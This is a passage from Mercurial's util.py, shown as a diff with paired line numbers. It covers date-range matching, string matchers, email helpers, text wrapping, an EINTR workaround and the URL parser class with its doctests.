2167 2171 >>> f(p5[0])
2168 2172 False
2169 2173 """
2170 2174
2171 2175 def lower(date):
2172 2176 d = {'mb': "1", 'd': "1"}
2173 2177 return parsedate(date, extendeddateformats, d)[0]
2174 2178
2175 2179 def upper(date):
2176 2180 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2177 2181 for days in ("31", "30", "29"):
2178 2182 try:
2179 2183 d["d"] = days
2180 2184 return parsedate(date, extendeddateformats, d)[0]
2181 2185 except Abort:
2182 2186 pass
2183 2187 d["d"] = "28"
2184 2188 return parsedate(date, extendeddateformats, d)[0]
2185 2189
2186 2190 date = date.strip()
2187 2191
2188 2192 if not date:
2189 2193 raise Abort(_("dates cannot consist entirely of whitespace"))
2190 2194 elif date[0] == "<":
2191 2195 if not date[1:]:
2192 2196 raise Abort(_("invalid day spec, use '<DATE'"))
2193 2197 when = upper(date[1:])
2194 2198 return lambda x: x <= when
2195 2199 elif date[0] == ">":
2196 2200 if not date[1:]:
2197 2201 raise Abort(_("invalid day spec, use '>DATE'"))
2198 2202 when = lower(date[1:])
2199 2203 return lambda x: x >= when
2200 2204 elif date[0] == "-":
2201 2205 try:
2202 2206 days = int(date[1:])
2203 2207 except ValueError:
2204 2208 raise Abort(_("invalid day spec: %s") % date[1:])
2205 2209 if days < 0:
2206 2210 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2207 2211 % date[1:])
2208 2212 when = makedate()[0] - days * 3600 * 24
2209 2213 return lambda x: x >= when
2210 2214 elif " to " in date:
2211 2215 a, b = date.split(" to ")
2212 2216 start, stop = lower(a), upper(b)
2213 2217 return lambda x: x >= start and x <= stop
2214 2218 else:
2215 2219 start, stop = lower(date), upper(date)
2216 2220 return lambda x: x >= start and x <= stop
2217 2221
2218 2222 def stringmatcher(pattern, casesensitive=True):
2219 2223 """
2220 2224 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2221 2225 returns the matcher name, pattern, and matcher function.
2222 2226 missing or unknown prefixes are treated as literal matches.
2223 2227
2224 2228 helper for tests:
2225 2229 >>> def test(pattern, *tests):
2226 2230 ... kind, pattern, matcher = stringmatcher(pattern)
2227 2231 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2228 2232 >>> def itest(pattern, *tests):
2229 2233 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2230 2234 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2231 2235
2232 2236 exact matching (no prefix):
2233 2237 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2234 2238 ('literal', 'abcdefg', [False, False, True])
2235 2239
2236 2240 regex matching ('re:' prefix)
2237 2241 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2238 2242 ('re', 'a.+b', [False, False, True])
2239 2243
2240 2244 force exact matches ('literal:' prefix)
2241 2245 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2242 2246 ('literal', 're:foobar', [False, True])
2243 2247
2244 2248 unknown prefixes are ignored and treated as literals
2245 2249 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2246 2250 ('literal', 'foo:bar', [False, False, True])
2247 2251
2248 2252 case insensitive regex matches
2249 2253 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2250 2254 ('re', 'A.+b', [False, False, True])
2251 2255
2252 2256 case insensitive literal matches
2253 2257 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2254 2258 ('literal', 'ABCDEFG', [False, False, True])
2255 2259 """
2256 2260 if pattern.startswith('re:'):
2257 2261 pattern = pattern[3:]
2258 2262 try:
2259 2263 flags = 0
2260 2264 if not casesensitive:
2261 2265 flags = remod.I
2262 2266 regex = remod.compile(pattern, flags)
2263 2267 except remod.error as e:
2264 2268 raise error.ParseError(_('invalid regular expression: %s')
2265 2269 % e)
2266 2270 return 're', pattern, regex.search
2267 2271 elif pattern.startswith('literal:'):
2268 2272 pattern = pattern[8:]
2269 2273
2270 2274 match = pattern.__eq__
2271 2275
2272 2276 if not casesensitive:
2273 2277 ipat = encoding.lower(pattern)
2274 2278 match = lambda s: ipat == encoding.lower(s)
2275 2279 return 'literal', pattern, match
2276 2280
2277 2281 def shortuser(user):
2278 2282 """Return a short representation of a user name or email address."""
2279 2283 f = user.find('@')
2280 2284 if f >= 0:
2281 2285 user = user[:f]
2282 2286 f = user.find('<')
2283 2287 if f >= 0:
2284 2288 user = user[f + 1:]
2285 2289 f = user.find(' ')
2286 2290 if f >= 0:
2287 2291 user = user[:f]
2288 2292 f = user.find('.')
2289 2293 if f >= 0:
2290 2294 user = user[:f]
2291 2295 return user
2292 2296
2293 2297 def emailuser(user):
2294 2298 """Return the user portion of an email address."""
2295 2299 f = user.find('@')
2296 2300 if f >= 0:
2297 2301 user = user[:f]
2298 2302 f = user.find('<')
2299 2303 if f >= 0:
2300 2304 user = user[f + 1:]
2301 2305 return user
2302 2306
2303 2307 def email(author):
2304 2308 '''get email of author.'''
2305 2309 r = author.find('>')
2306 2310 if r == -1:
2307 2311 r = None
2308 2312 return author[author.find('<') + 1:r]
2309 2313
2310 2314 def ellipsis(text, maxlength=400):
2311 2315 """Trim string to at most maxlength (default: 400) columns in display."""
2312 2316 return encoding.trim(text, maxlength, ellipsis='...')
2313 2317
2314 2318 def unitcountfn(*unittable):
2315 2319 '''return a function that renders a readable count of some quantity'''
2316 2320
2317 2321 def go(count):
2318 2322 for multiplier, divisor, format in unittable:
2319 2323 if abs(count) >= divisor * multiplier:
2320 2324 return format % (count / float(divisor))
2321 2325 return unittable[-1][2] % count
2322 2326
2323 2327 return go
2324 2328
2325 2329 def processlinerange(fromline, toline):
2326 2330 """Check that linerange <fromline>:<toline> makes sense and return a
2327 2331 0-based range.
2328 2332
2329 2333 >>> processlinerange(10, 20)
2330 2334 (9, 20)
2331 2335 >>> processlinerange(2, 1)
2332 2336 Traceback (most recent call last):
2333 2337 ...
2334 2338 ParseError: line range must be positive
2335 2339 >>> processlinerange(0, 5)
2336 2340 Traceback (most recent call last):
2337 2341 ...
2338 2342 ParseError: fromline must be strictly positive
2339 2343 """
2340 2344 if toline - fromline < 0:
2341 2345 raise error.ParseError(_("line range must be positive"))
2342 2346 if fromline < 1:
2343 2347 raise error.ParseError(_("fromline must be strictly positive"))
2344 2348 return fromline - 1, toline
2345 2349
2346 2350 bytecount = unitcountfn(
2347 2351 (100, 1 << 30, _('%.0f GB')),
2348 2352 (10, 1 << 30, _('%.1f GB')),
2349 2353 (1, 1 << 30, _('%.2f GB')),
2350 2354 (100, 1 << 20, _('%.0f MB')),
2351 2355 (10, 1 << 20, _('%.1f MB')),
2352 2356 (1, 1 << 20, _('%.2f MB')),
2353 2357 (100, 1 << 10, _('%.0f KB')),
2354 2358 (10, 1 << 10, _('%.1f KB')),
2355 2359 (1, 1 << 10, _('%.2f KB')),
2356 2360 (1, 1, _('%.0f bytes')),
2357 2361 )
2358 2362
2359 2363 # Matches a single EOL which can either be a CRLF where repeated CR
2360 2364 # are removed or a LF. We do not care about old Macintosh files, so a
2361 2365 # stray CR is an error.
2362 2366 _eolre = remod.compile(br'\r*\n')
2363 2367
2364 2368 def tolf(s):
2365 2369 return _eolre.sub('\n', s)
2366 2370
2367 2371 def tocrlf(s):
2368 2372 return _eolre.sub('\r\n', s)
2369 2373
2370 2374 if pycompat.oslinesep == '\r\n':
2371 2375 tonativeeol = tocrlf
2372 2376 fromnativeeol = tolf
2373 2377 else:
2374 2378 tonativeeol = pycompat.identity
2375 2379 fromnativeeol = pycompat.identity
2376 2380
2377 2381 def escapestr(s):
2378 2382 # call underlying function of s.encode('string_escape') directly for
2379 2383 # Python 3 compatibility
2380 2384 return codecs.escape_encode(s)[0]
2381 2385
2382 2386 def unescapestr(s):
2383 2387 return codecs.escape_decode(s)[0]
2384 2388
2385 2389 def forcebytestr(obj):
2386 2390 """Portably format an arbitrary object (e.g. exception) into a byte
2387 2391 string."""
2388 2392 try:
2389 2393 return pycompat.bytestr(obj)
2390 2394 except UnicodeEncodeError:
2391 2395 # non-ascii string, may be lossy
2392 2396 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2393 2397
2394 2398 def uirepr(s):
2395 2399 # Avoid double backslash in Windows path repr()
2396 2400 return repr(s).replace('\\\\', '\\')
2397 2401
2398 2402 # delay import of textwrap
2399 2403 def MBTextWrapper(**kwargs):
2400 2404 class tw(textwrap.TextWrapper):
2401 2405 """
2402 2406 Extend TextWrapper for width-awareness.
2403 2407
2404 2408 Neither number of 'bytes' in any encoding nor 'characters' is
2405 2409 appropriate to calculate terminal columns for specified string.
2406 2410
2407 2411 Original TextWrapper implementation uses built-in 'len()' directly,
2408 2412 so overriding is needed to use width information of each characters.
2409 2413
2410 2414 In addition, characters classified into 'ambiguous' width are
2411 2415 treated as wide in East Asian area, but as narrow in other.
2412 2416
2413 2417 This requires use decision to determine width of such characters.
2414 2418 """
2415 2419 def _cutdown(self, ucstr, space_left):
2416 2420 l = 0
2417 2421 colwidth = encoding.ucolwidth
2418 2422 for i in xrange(len(ucstr)):
2419 2423 l += colwidth(ucstr[i])
2420 2424 if space_left < l:
2421 2425 return (ucstr[:i], ucstr[i:])
2422 2426 return ucstr, ''
2423 2427
2424 2428 # overriding of base class
2425 2429 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2426 2430 space_left = max(width - cur_len, 1)
2427 2431
2428 2432 if self.break_long_words:
2429 2433 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2430 2434 cur_line.append(cut)
2431 2435 reversed_chunks[-1] = res
2432 2436 elif not cur_line:
2433 2437 cur_line.append(reversed_chunks.pop())
2434 2438
2435 2439 # this overriding code is imported from TextWrapper of Python 2.6
2436 2440 # to calculate columns of string by 'encoding.ucolwidth()'
2437 2441 def _wrap_chunks(self, chunks):
2438 2442 colwidth = encoding.ucolwidth
2439 2443
2440 2444 lines = []
2441 2445 if self.width <= 0:
2442 2446 raise ValueError("invalid width %r (must be > 0)" % self.width)
2443 2447
2444 2448 # Arrange in reverse order so items can be efficiently popped
2445 2449 # from a stack of chucks.
2446 2450 chunks.reverse()
2447 2451
2448 2452 while chunks:
2449 2453
2450 2454 # Start the list of chunks that will make up the current line.
2451 2455 # cur_len is just the length of all the chunks in cur_line.
2452 2456 cur_line = []
2453 2457 cur_len = 0
2454 2458
2455 2459 # Figure out which static string will prefix this line.
2456 2460 if lines:
2457 2461 indent = self.subsequent_indent
2458 2462 else:
2459 2463 indent = self.initial_indent
2460 2464
2461 2465 # Maximum width for this line.
2462 2466 width = self.width - len(indent)
2463 2467
2464 2468 # First chunk on line is whitespace -- drop it, unless this
2465 2469 # is the very beginning of the text (i.e. no lines started yet).
2466 2470 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2467 2471 del chunks[-1]
2468 2472
2469 2473 while chunks:
2470 2474 l = colwidth(chunks[-1])
2471 2475
2472 2476 # Can at least squeeze this chunk onto the current line.
2473 2477 if cur_len + l <= width:
2474 2478 cur_line.append(chunks.pop())
2475 2479 cur_len += l
2476 2480
2477 2481 # Nope, this line is full.
2478 2482 else:
2479 2483 break
2480 2484
2481 2485 # The current line is full, and the next chunk is too big to
2482 2486 # fit on *any* line (not just this one).
2483 2487 if chunks and colwidth(chunks[-1]) > width:
2484 2488 self._handle_long_word(chunks, cur_line, cur_len, width)
2485 2489
2486 2490 # If the last chunk on this line is all whitespace, drop it.
2487 2491 if (self.drop_whitespace and
2488 2492 cur_line and cur_line[-1].strip() == r''):
2489 2493 del cur_line[-1]
2490 2494
2491 2495 # Convert current line back to a string and store it in list
2492 2496 # of all lines (return value).
2493 2497 if cur_line:
2494 2498 lines.append(indent + r''.join(cur_line))
2495 2499
2496 2500 return lines
2497 2501
2498 2502 global MBTextWrapper
2499 2503 MBTextWrapper = tw
2500 2504 return tw(**kwargs)
2501 2505
2502 2506 def wrap(line, width, initindent='', hangindent=''):
2503 2507 maxindent = max(len(hangindent), len(initindent))
2504 2508 if width <= maxindent:
2505 2509 # adjust for weird terminal size
2506 2510 width = max(78, maxindent + 1)
2507 2511 line = line.decode(pycompat.sysstr(encoding.encoding),
2508 2512 pycompat.sysstr(encoding.encodingmode))
2509 2513 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2510 2514 pycompat.sysstr(encoding.encodingmode))
2511 2515 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2512 2516 pycompat.sysstr(encoding.encodingmode))
2513 2517 wrapper = MBTextWrapper(width=width,
2514 2518 initial_indent=initindent,
2515 2519 subsequent_indent=hangindent)
2516 2520 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2517 2521
2518 2522 if (pyplatform.python_implementation() == 'CPython' and
2519 2523 sys.version_info < (3, 0)):
2520 2524 # There is an issue in CPython that some IO methods do not handle EINTR
2521 2525 # correctly. The following table shows what CPython version (and functions)
2522 2526 # are affected (buggy: has the EINTR bug, okay: otherwise):
2523 2527 #
2524 2528 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2525 2529 # --------------------------------------------------
2526 2530 # fp.__iter__ | buggy | buggy | okay
2527 2531 # fp.read* | buggy | okay [1] | okay
2528 2532 #
2529 2533 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2530 2534 #
2531 2535 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2532 2536 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2533 2537 #
2534 2538 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2535 2539 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2536 2540 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2537 2541 # fp.__iter__ but not other fp.read* methods.
2538 2542 #
2539 2543 # On modern systems like Linux, the "read" syscall cannot be interrupted
2540 2544 # when reading "fast" files like on-disk files. So the EINTR issue only
2541 2545 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2542 2546 # files approximately as "fast" files and use the fast (unsafe) code path,
2543 2547 # to minimize the performance impact.
2544 2548 if sys.version_info >= (2, 7, 4):
2545 2549 # fp.readline deals with EINTR correctly, use it as a workaround.
2546 2550 def _safeiterfile(fp):
2547 2551 return iter(fp.readline, '')
2548 2552 else:
2549 2553 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2550 2554 # note: this may block longer than necessary because of bufsize.
2551 2555 def _safeiterfile(fp, bufsize=4096):
2552 2556 fd = fp.fileno()
2553 2557 line = ''
2554 2558 while True:
2555 2559 try:
2556 2560 buf = os.read(fd, bufsize)
2557 2561 except OSError as ex:
2558 2562 # os.read only raises EINTR before any data is read
2559 2563 if ex.errno == errno.EINTR:
2560 2564 continue
2561 2565 else:
2562 2566 raise
2563 2567 line += buf
2564 2568 if '\n' in buf:
2565 2569 splitted = line.splitlines(True)
2566 2570 line = ''
2567 2571 for l in splitted:
2568 2572 if l[-1] == '\n':
2569 2573 yield l
2570 2574 else:
2571 2575 line = l
2572 2576 if not buf:
2573 2577 break
2574 2578 if line:
2575 2579 yield line
2576 2580
2577 2581 def iterfile(fp):
2578 2582 fastpath = True
2579 2583 if type(fp) is file:
2580 2584 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2581 2585 if fastpath:
2582 2586 return fp
2583 2587 else:
2584 2588 return _safeiterfile(fp)
2585 2589 else:
2586 2590 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2587 2591 def iterfile(fp):
2588 2592 return fp
2589 2593
2590 2594 def iterlines(iterator):
2591 2595 for chunk in iterator:
2592 2596 for line in chunk.splitlines():
2593 2597 yield line
2594 2598
2595 2599 def expandpath(path):
2596 2600 return os.path.expanduser(os.path.expandvars(path))
2597 2601
2598 2602 def hgcmd():
2599 2603 """Return the command used to execute current hg
2600 2604
2601 2605 This is different from hgexecutable() because on Windows we want
2602 2606 to avoid things opening new shell windows like batch files, so we
2603 2607 get either the python call or current executable.
2604 2608 """
2605 2609 if mainfrozen():
2606 2610 if getattr(sys, 'frozen', None) == 'macosx_app':
2607 2611 # Env variable set by py2app
2608 2612 return [encoding.environ['EXECUTABLEPATH']]
2609 2613 else:
2610 2614 return [pycompat.sysexecutable]
2611 2615 return gethgcmd()
2612 2616
2613 2617 def rundetached(args, condfn):
2614 2618 """Execute the argument list in a detached process.
2615 2619
2616 2620 condfn is a callable which is called repeatedly and should return
2617 2621 True once the child process is known to have started successfully.
2618 2622 At this point, the child process PID is returned. If the child
2619 2623 process fails to start or finishes before condfn() evaluates to
2620 2624 True, return -1.
2621 2625 """
2622 2626 # Windows case is easier because the child process is either
2623 2627 # successfully starting and validating the condition or exiting
2624 2628 # on failure. We just poll on its PID. On Unix, if the child
2625 2629 # process fails to start, it will be left in a zombie state until
2626 2630 # the parent wait on it, which we cannot do since we expect a long
2627 2631 # running process on success. Instead we listen for SIGCHLD telling
2628 2632 # us our child process terminated.
2629 2633 terminated = set()
2630 2634 def handler(signum, frame):
2631 2635 terminated.add(os.wait())
2632 2636 prevhandler = None
2633 2637 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2634 2638 if SIGCHLD is not None:
2635 2639 prevhandler = signal.signal(SIGCHLD, handler)
2636 2640 try:
2637 2641 pid = spawndetached(args)
2638 2642 while not condfn():
2639 2643 if ((pid in terminated or not testpid(pid))
2640 2644 and not condfn()):
2641 2645 return -1
2642 2646 time.sleep(0.1)
2643 2647 return pid
2644 2648 finally:
2645 2649 if prevhandler is not None:
2646 2650 signal.signal(signal.SIGCHLD, prevhandler)
2647 2651
2648 2652 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2649 2653 """Return the result of interpolating items in the mapping into string s.
2650 2654
2651 2655 prefix is a single character string, or a two character string with
2652 2656 a backslash as the first character if the prefix needs to be escaped in
2653 2657 a regular expression.
2654 2658
2655 2659 fn is an optional function that will be applied to the replacement text
2656 2660 just before replacement.
2657 2661
2658 2662 escape_prefix is an optional flag that allows using doubled prefix for
2659 2663 its escaping.
2660 2664 """
2661 2665 fn = fn or (lambda s: s)
2662 2666 patterns = '|'.join(mapping.keys())
2663 2667 if escape_prefix:
2664 2668 patterns += '|' + prefix
2665 2669 if len(prefix) > 1:
2666 2670 prefix_char = prefix[1:]
2667 2671 else:
2668 2672 prefix_char = prefix
2669 2673 mapping[prefix_char] = prefix_char
2670 2674 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2671 2675 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2672 2676
2673 2677 def getport(port):
2674 2678 """Return the port for a given network service.
2675 2679
2676 2680 If port is an integer, it's returned as is. If it's a string, it's
2677 2681 looked up using socket.getservbyname(). If there's no matching
2678 2682 service, error.Abort is raised.
2679 2683 """
2680 2684 try:
2681 2685 return int(port)
2682 2686 except ValueError:
2683 2687 pass
2684 2688
2685 2689 try:
2686 2690 return socket.getservbyname(port)
2687 2691 except socket.error:
2688 2692 raise Abort(_("no port number associated with service '%s'") % port)
2689 2693
2690 2694 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2691 2695 '0': False, 'no': False, 'false': False, 'off': False,
2692 2696 'never': False}
2693 2697
2694 2698 def parsebool(s):
2695 2699 """Parse s into a boolean.
2696 2700
2697 2701 If s is not a valid boolean, returns None.
2698 2702 """
2699 2703 return _booleans.get(s.lower(), None)
2700 2704
2701 2705 _hextochr = dict((a + b, chr(int(a + b, 16)))
2702 2706 for a in string.hexdigits for b in string.hexdigits)
2703 2707
2704 2708 class url(object):
2705 2709 r"""Reliable URL parser.
2706 2710
2707 2711 This parses URLs and provides attributes for the following
2708 2712 components:
2709 2713
2710 2714 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2711 2715
2712 2716 Missing components are set to None. The only exception is
2713 2717 fragment, which is set to '' if present but empty.
2714 2718
2715 2719 If parsefragment is False, fragment is included in query. If
2716 2720 parsequery is False, query is included in path. If both are
2717 2721 False, both fragment and query are included in path.
2718 2722
2719 2723 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2720 2724
2721 2725 Note that for backward compatibility reasons, bundle URLs do not
2722 2726 take host names. That means 'bundle://../' has a path of '../'.
2723 2727
2724 2728 Examples:
2725 2729
2726 2730 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2727 2731 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2728 2732 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2729 2733 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2730 2734 >>> url(b'file:///home/joe/repo')
2731 2735 <url scheme: 'file', path: '/home/joe/repo'>
2732 2736 >>> url(b'file:///c:/temp/foo/')
2733 2737 <url scheme: 'file', path: 'c:/temp/foo/'>
2734 2738 >>> url(b'bundle:foo')
2735 2739 <url scheme: 'bundle', path: 'foo'>
2736 2740 >>> url(b'bundle://../foo')
2737 2741 <url scheme: 'bundle', path: '../foo'>
2738 2742 >>> url(br'c:\foo\bar')
2739 2743 <url path: 'c:\\foo\\bar'>
2740 2744 >>> url(br'\\blah\blah\blah')
2741 2745 <url path: '\\\\blah\\blah\\blah'>
2742 2746 >>> url(br'\\blah\blah\blah#baz')
2743 2747 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2744 2748 >>> url(br'file:///C:\users\me')
2745 2749 <url scheme: 'file', path: 'C:\\users\\me'>
2746 2750
2747 2751 Authentication credentials:
2748 2752
2749 2753 >>> url(b'ssh://joe:xyz@x/repo')
2750 2754 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2751 2755 >>> url(b'ssh://joe@x/repo')
2752 2756 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2753 2757
2754 2758 Query strings and fragments:
2755 2759
2756 2760 >>> url(b'http://host/a?b#c')
2757 2761 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2758 2762 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2759 2763 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2760 2764
2761 2765 Empty path:
2762 2766
2763 2767 >>> url(b'')
2764 2768 <url path: ''>
2765 2769 >>> url(b'#a')
2766 2770 <url path: '', fragment: 'a'>
2767 2771 >>> url(b'http://host/')
2768 2772 <url scheme: 'http', host: 'host', path: ''>
2769 2773 >>> url(b'http://host/#a')
2770 2774 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2771 2775
2772 2776 Only scheme:
2773 2777
2774 2778 >>> url(b'http:')
2775 2779 <url scheme: 'http'>
2776 2780 """
2777 2781
2778 2782 _safechars = "!~*'()+"
2779 2783 _safepchars = "/!~*'()+:\\"
2780 2784 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2781 2785
2782 2786 def __init__(self, path, parsequery=True, parsefragment=True):
2783 2787 # We slowly chomp away at path until we have only the path left
2784 2788 self.scheme = self.user = self.passwd = self.host = None
2785 2789 self.port = self.path = self.query = self.fragment = None
2786 2790 self._localpath = True
2787 2791 self._hostport = ''
2788 2792 self._origpath = path
2789 2793
2790 2794 if parsefragment and '#' in path:
2791 2795 path, self.fragment = path.split('#', 1)
2792 2796
2793 2797 # special case for Windows drive letters and UNC paths
2794 2798 if hasdriveletter(path) or path.startswith('\\\\'):
2795 2799 self.path = path
2796 2800 return
2797 2801
2798 2802 # For compatibility reasons, we can't handle bundle paths as
2799 2803 # normal URLS
2800 2804 if path.startswith('bundle:'):
2801 2805 self.scheme = 'bundle'
2802 2806 path = path[7:]
2803 2807 if path.startswith('//'):
2804 2808 path = path[2:]
2805 2809 self.path = path
2806 2810 return
2807 2811
2808 2812 if self._matchscheme(path):
2809 2813 parts = path.split(':', 1)
2810 2814 if parts[0]:
2811 2815 self.scheme, path = parts
2812 2816 self._localpath = False
2813 2817
2814 2818 if not path:
2815 2819 path = None
2816 2820 if self._localpath:
2817 2821 self.path = ''
2818 2822 return
2819 2823 else:
2820 2824 if self._localpath:
2821 2825 self.path = path
2822 2826 return
2823 2827
2824 2828 if parsequery and '?' in path:
2825 2829 path, self.query = path.split('?', 1)
2826 2830 if not path:
2827 2831 path = None
2828 2832 if not self.query:
2829 2833 self.query = None
2830 2834
2831 2835 # // is required to specify a host/authority
2832 2836 if path and path.startswith('//'):
2833 2837 parts = path[2:].split('/', 1)
2834 2838 if len(parts) > 1:
2835 2839 self.host, path = parts
2836 2840 else:
2837 2841 self.host = parts[0]
2838 2842 path = None
2839 2843 if not self.host:
2840 2844 self.host = None
2841 2845 # path of file:///d is /d
2842 2846 # path of file:///d:/ is d:/, not /d:/
2843 2847 if path and not hasdriveletter(path):
2844 2848 path = '/' + path
2845 2849
2846 2850 if self.host and '@' in self.host:
2847 2851 self.user, self.host = self.host.rsplit('@', 1)
2848 2852 if ':' in self.user:
2849 2853 self.user, self.passwd = self.user.split(':', 1)
2850 2854 if not self.host:
2851 2855 self.host = None
2852 2856
2853 2857 # Don't split on colons in IPv6 addresses without ports
2854 2858 if (self.host and ':' in self.host and
2855 2859 not (self.host.startswith('[') and self.host.endswith(']'))):
2856 2860 self._hostport = self.host
2857 2861 self.host, self.port = self.host.rsplit(':', 1)
2858 2862 if not self.host:
2859 2863 self.host = None
2860 2864
2861 2865 if (self.host and self.scheme == 'file' and
2862 2866 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2863 2867 raise Abort(_('file:// URLs can only refer to localhost'))
2864 2868
2865 2869 self.path = path
2866 2870
2867 2871 # leave the query string escaped
2868 2872 for a in ('user', 'passwd', 'host', 'port',
2869 2873 'path', 'fragment'):
2870 2874 v = getattr(self, a)
2871 2875 if v is not None:
2872 2876 setattr(self, a, urlreq.unquote(v))
2873 2877
2874 2878 @encoding.strmethod
2875 2879 def __repr__(self):
2876 2880 attrs = []
2877 2881 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2878 2882 'query', 'fragment'):
2879 2883 v = getattr(self, a)
2880 2884 if v is not None:
2881 2885 attrs.append('%s: %r' % (a, v))
2882 2886 return '<url %s>' % ', '.join(attrs)
2883 2887
2884 2888 def __bytes__(self):
2885 2889 r"""Join the URL's components back into a URL string.
2886 2890
2887 2891 Examples:
2888 2892
2889 2893 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2890 2894 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2891 2895 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2892 2896 'http://user:pw@host:80/?foo=bar&baz=42'
2893 2897 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2894 2898 'http://user:pw@host:80/?foo=bar%3dbaz'
2895 2899 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2896 2900 'ssh://user:pw@[::1]:2200//home/joe#'
2897 2901 >>> bytes(url(b'http://localhost:80//'))
2898 2902 'http://localhost:80//'
2899 2903 >>> bytes(url(b'http://localhost:80/'))
2900 2904 'http://localhost:80/'
2901 2905 >>> bytes(url(b'http://localhost:80'))
2902 2906 'http://localhost:80/'
2903 2907 >>> bytes(url(b'bundle:foo'))
2904 2908 'bundle:foo'
2905 2909 >>> bytes(url(b'bundle://../foo'))
2906 2910 'bundle:../foo'
2907 2911 >>> bytes(url(b'path'))
2908 2912 'path'
2909 2913 >>> bytes(url(b'file:///tmp/foo/bar'))
2910 2914 'file:///tmp/foo/bar'
2911 2915 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2912 2916 'file:///c:/tmp/foo/bar'
2913 2917 >>> print(url(br'bundle:foo\bar'))
2914 2918 bundle:foo\bar
2915 2919 >>> print(url(br'file:///D:\data\hg'))
2916 2920 file:///D:\data\hg
2917 2921 """
2918 2922 if self._localpath:
2919 2923 s = self.path
2920 2924 if self.scheme == 'bundle':
2921 2925 s = 'bundle:' + s
2922 2926 if self.fragment:
2923 2927 s += '#' + self.fragment
2924 2928 return s
2925 2929
2926 2930 s = self.scheme + ':'
2927 2931 if self.user or self.passwd or self.host:
2928 2932 s += '//'
2929 2933 elif self.scheme and (not self.path or self.path.startswith('/')
2930 2934 or hasdriveletter(self.path)):
2931 2935 s += '//'
2932 2936 if hasdriveletter(self.path):
2933 2937 s += '/'
2934 2938 if self.user:
2935 2939 s += urlreq.quote(self.user, safe=self._safechars)
2936 2940 if self.passwd:
2937 2941 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2938 2942 if self.user or self.passwd:
2939 2943 s += '@'
2940 2944 if self.host:
2941 2945 if not (self.host.startswith('[') and self.host.endswith(']')):
2942 2946 s += urlreq.quote(self.host)
2943 2947 else:
2944 2948 s += self.host
2945 2949 if self.port:
2946 2950 s += ':' + urlreq.quote(self.port)
2947 2951 if self.host:
2948 2952 s += '/'
2949 2953 if self.path:
2950 2954 # TODO: similar to the query string, we should not unescape the
2951 2955 # path when we store it, the path might contain '%2f' = '/',
2952 2956 # which we should *not* escape.
2953 2957 s += urlreq.quote(self.path, safe=self._safepchars)
2954 2958 if self.query:
2955 2959 # we store the query in escaped form.
2956 2960 s += '?' + self.query
2957 2961 if self.fragment is not None:
2958 2962 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2959 2963 return s
2960 2964
2961 2965 __str__ = encoding.strmethod(__bytes__)
2962 2966
2963 2967 def authinfo(self):
2964 2968 user, passwd = self.user, self.passwd
2965 2969 try:
2966 2970 self.user, self.passwd = None, None
2967 2971 s = bytes(self)
2968 2972 finally:
2969 2973 self.user, self.passwd = user, passwd
2970 2974 if not self.user:
2971 2975 return (s, None)
2972 2976 # authinfo[1] is passed to urllib2 password manager, and its
2973 2977 # URIs must not contain credentials. The host is passed in the
2974 2978 # URIs list because Python < 2.4.3 uses only that to search for
2975 2979 # a password.
